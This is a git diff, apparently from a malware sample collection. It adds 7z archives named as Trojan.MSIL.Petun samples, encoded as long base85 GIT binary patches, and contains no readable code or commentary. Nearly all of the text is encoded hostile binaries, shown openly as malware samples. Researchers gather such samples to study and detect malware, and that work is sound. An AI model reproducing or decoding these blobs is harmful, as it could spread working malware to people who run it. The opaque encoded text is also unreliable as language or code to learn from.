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 ihz$8!s{R_a|KCG_{1Z_J06wp-c|| literal 0 HcmV?d00001 diff --git a/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-6.7z b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-6.7z new file mode 100644 index 0000000000000000000000000000000000000000..8bdab346bb4055fbbc01c2d390dce2a723360b7e GIT binary patch literal 16893 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π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 UwO9mz`rfgA002zz{B`wz0On~k*#H0l literal 0 HcmV?d00001 diff --git a/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-8.7z b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-8.7z new file mode 100644 index 0000000000000000000000000000000000000000..a4b9d725cd05b9e01859c5f1a48557990d6cf67e GIT binary patch literal 17240 zcmaL819T|Mwl*5uwr$(CovdiZwr$(C%@sQ7>6AZtiW0s!FH3;^&~Ph@S4oUM!*zv(VH{xXAlLbCCxGeS;d^?cjHFX&xuwS)I8d&_t1%~|#O5ThB=`A! zKCDf}%`Js3nHFKKizb|(1YblPGg~S$W0>v;A1iAC_VhUyU6ONHGcdLMi!Qih*xHy= z;<%V~cq?_xTMD(0z+Z4)=qsBDyiF|e)7B=MRf#LJrmtYU-KuE8mkLdM^rv6~ozJ;cByaJvPTXL`_#KDAaPKKu&VsfZ>wx_v8BV^ z@onVKI4QXT;8)LFWw*Ap!AjwBu&HtKJmP?_sP0M)?dkVK7H78sYk8=)IP&iv#7UtpzALLj8%vhzX2LtBb}jbmQlVoDc@Qe+!iqiHUo*?HT?pN` zC{$XK`dO_)d)O5Gct%~@&E)9xNB8tpc-^6@KC@#kJKcgsRUH3{RLGH5{*U*h&s=B* zv0%^Aq*8n-{pwHO(_d>O_ZgPwXI8EGNv`SMPoi(QxEv(VP=avKM)g9wH8BnpL^r7Z!HL*%J0~dq5RUUwcJn z5gD>qRp@ds)eLd)xef15tN3vUY+QvE(}Et#!Qlj^d~R5eH0yN{qjlw4og5|)ZM}Nh zjHgEA^Z0!ElszzHN{yI#Om6e^Nm$P?gQ?h@+Bk6iHaU&Rswz!N02i`7&8HqKhiI>7 zEv+c{GWH~%OOI}vT}VoRhIEqcJ9{~0vYZhO!hf1W#}hG#5o~uYzU|BX=CkzyWUtM< zz9fSVE1l4}jr-J5@_9J`^2e(cL#{fIwAE>LjM; z!-#Q!roAN%E2VnX%rwE_Vcl9{kmh>sx2y84wXFBTtMIxLz-F^4gtI5{$E?6o9KKdx`?JLEiXFz3AN zHczjnro8w>|nUMa#mUXbKJ;LK;Oh=d{|ocRC&?@$?B9Vea+ 